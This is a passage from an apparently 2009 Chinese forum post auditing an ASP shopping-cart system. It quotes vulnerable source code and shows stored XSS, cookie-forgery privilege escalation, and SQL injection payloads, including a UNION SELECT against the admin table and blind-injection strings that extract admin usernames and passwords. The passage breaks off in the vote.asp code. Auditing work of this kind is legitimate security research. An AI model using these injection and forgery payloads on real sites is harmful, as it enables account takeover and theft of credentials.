end function
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_fk",conn,1,3
rs.addnew
rs("fksubject")=trim(request("fksubject"))
rs("fkleixing")=request("fkleixing")
rs("fkcontent")=htmlencode2(trim(request("fkcontent")))
rs("fkusername")=trim(request("fkusername"))
rs("fkemail")=trim(request("fkemail"))
rs("fktel")=trim(request("fktel"))
rs("fklaizi")=trim(request("fklaizi"))
rs("fkdate")=now
rs("fkip")=Request.ServerVariables("remote_addr")
rs.update
rs.close
set rs=nothing
作者首先定义了一个HTML的过滤函数,HTMLEncode2,但这个函数并没有过滤< 和 >,至于跨站能不能成功,还要看后台查看留言的文件有没有做进一步的过滤,因为留言是直接发给管理员的。那么我们来看一下后台查看留言的文件viewfk.asp,有问题代码如下:
<table width="80%" border="0" cellspacing="1" cellpadding="0">
<tr>
<td align="center">
<b><%=trim(rs("fksubject"))%></b>
</td>
</tr>
<tr>
<td>
<%=trim(rs("fkcontent"))%><br>
<%="发表时间:"&rs("fkdate")%>
</td>
</tr>
</table>
大家可以很清楚的看到fksubject和fkcontent仅仅过滤了左右空格,导致我们可以跨站成功。
利用如图所示,我们在留言内容处写入跨站测试代码<script>alert(/xss/)</script>
当管理员查看我们的留言时就会成功执行我们的跨站测试代码,效果如下图:
至于跨站的高级应用,就看大家的发挥了。
漏洞二:cookie欺骗
漏洞存在文件:1.huansuan.asp 漏洞代码如下:
<%
if request.Cookies("BOB")("username")="" then
response.Redirect "user.asp"
response.End
end if
………………………….省略代码
%>
2.gouwu.asp 漏洞代码如下
dim bookid,username,action
action=request.QueryString("action")
if request.Cookies("BOB")("username")<>"" then
username=trim(request.Cookies("BOB")("username"))
else
if request.Cookies("BOB")("dingdanusername")="" then
username=now()
username=replace(trim(username),"-","")
username=replace(username,":","")
username=replace(username," ","")
response.Cookies("BOB")("dingdanusername")=username
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [user] ",conn,1,3
rs.addnew
rs("username")=username
rs("niming")=1
rs.update
rs.close
set rs=nothing
else
username=request.Cookies("BOB")("dingdanusername")
end if
end if
cookie信息如下所示:
reglx%3D=1&yucun=0&jifen=0&username=flaw0r®lx=1&jiaoyijine=0
usercookies=1&userid=4439&userhidden=2&password=965eb72c92a549dd&userclass=1&username=flaw0r
我们很容易伪造信息。其中reglx=1为普通用户,reglx=2为VIP用户
3.dingdan.asp
<%if request.Cookies("BOB")("username")="" then
response.write "<script language=javascript>alert('对不起,您还没有登陆!');history.go(-1);</script>"
response.End
end if%>
这套系统还有很多文件存在上述的cookie欺骗漏洞,在此不一一列举。
[ 本帖最后由 flaw0r 于 2009-4-21 09:50 编辑 ]作者: flaw0r 时间: 2009-4-18 16:06
漏洞三:注入漏洞
1.dingdan.asp文件,出现问题代码如下:
<%dim dingdan
dingdan=request.QueryString("dan")
set rs=server.CreateObject("adodb.recordset")
rs.open "select shop_books.bookid,shop_books.shjiaid,shop_books.bookname,shop_books.shichangjia,shop_books.huiyuanjia,shop_action.actiondate,shop_action.shousex,shop_action.danjia,shop_action.feiyong,shop_action.fapiao,shop_action.userzhenshiname,shop_action.shouhuoname,shop_action.dingdan,shop_action.youbian,shop_action.liuyan,shop_action.zhifufangshi,shop_action.songhuofangshi,shop_action.zhuangtai,shop_action.zonger,shop_action.useremail,shop_action.usertel,shop_action.shouhuodizhi,shop_action.bookcount from shop_books inner join shop_action on shop_books.bookid=shop_action.bookid where shop_action.username='"&request.Cookies("BOB")("username")&"' and dingdan='"&dingdan&"' ",conn,1,1
我们先来测试一下,首先我们先订购一个物品,然后查看我们的订单,然后提交如下测试语句 http://200.200.200.3/bobo/dingdan.asp?dan=200932514514'%20and%20'1'='1和 http://200.200.200.3/bobo/dingdan.asp?dan=200932514514'%20and%20'1'='2
我们可以看到两次结果是不一样的,如下图所示
2.jszx.asp文件,有问题代码如下:
<%
if request.Cookies("BOB")("username")<>"" then
username=trim(request.Cookies("BOB")("username"))
else
username=request.Cookies("BOB")("dingdanusername")
end if%>
--------------------------省略代码
action=request("action")
set rs=server.CreateObject("adodb.recordset")
rs.open "select count(*) as rec_count from shop_action where username='"&username&"' and zhuangtai=7",conn,1,1
if rs("rec_count")=0 then
response.write "<script language=javascript>alert('对不起,您购物车没有商品,请在购物后,再去“结算中心”!');window.close();</script>"
response.End
我们构造如下代码,将BOB的的cookie值改为:
reglx=1®lx%3D=1&jiaoyijine=0&shjianame=&jifen=0&username=flaw0r'%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20admin%20where%20'1'='1
3. getpwd2.asp文件,有问题代码如下:
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
我们测试一下,点击找回密码,在用户名处输入:flaw0r' and '1'='1 返回正常页面
返回再输入flaw0r' and '1'='2,这时就返回错误提示了
确定可以注入,可构造如下语句:
flaw0r' and exists(select * from admin) and '1'='1
flaw0r' and exists(select username from admin) and '1'='1
flaw0r' and exists(select passwd from admin) and '1'='1
flaw0r' and(select top 1 asc(mid(username,1,1))from admin)>0 and '1'='1
flaw0r' and(select top 1 mid(passwd,1,1) from admin) between 'a' and 'z' and '1'='1
--------------省略
----------------------------------------------------------------------------------------------------------------------
上面说的都是比较严重的问题,下面说下小的BUG,投票文件vote.asp,问题代码如下:
<%dim options,total,sql,i,answer
if request.QueryString("stype")="" then
if Request.ServerVariables("REMOTE_ADDR")=request.cookies("IPAddress") then